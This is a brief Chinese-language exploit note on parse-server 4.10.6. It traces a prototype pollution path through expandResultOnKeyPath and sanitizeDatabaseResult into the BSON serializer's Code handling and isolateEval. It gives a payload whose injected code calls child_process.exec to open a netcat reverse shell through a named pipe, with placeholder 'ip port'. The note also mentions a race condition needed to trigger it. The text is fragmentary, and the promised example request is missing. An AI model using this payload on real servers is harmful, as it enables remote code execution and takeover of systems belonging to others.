


https://github.com/parse-community/parse-server/commit/886bfd7cac69496e3f73d4bb536f0eec3cba0e4d

expandResultOnKeyPath 中DatabaseController.js
sanitizeDatabaseResult
-> expandResultOnKeyPath
sanitizeDatabaseResult 在添加(add)和更新(update)新类时被使用。然而,要实现原型污染,必须满足 keyUpdate __op 属于 ['Add', 'AddUnique', 'Remove', 'Increment'] 的条件
因此,原型 value 只能是 array 或 number


示例请求如下:

serialize,当 _bsontype 为 Code 时,将执行 serializeCode
parse-server-4.10.6/node_modules/bson/lib/bson/parser/serializer.js:762



options['evalFunctions'],从而绕过并到达 isolateEval 函数"_bsontype":"Code","code":"asdasd;require('child_process').exec('rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f')"
expandResultOnKeyPath 函数的执行流程在反序列化之后才进行,因此需要持续进行竞态条件(race condition)操作,以便在到达 isolateEval 时能够触发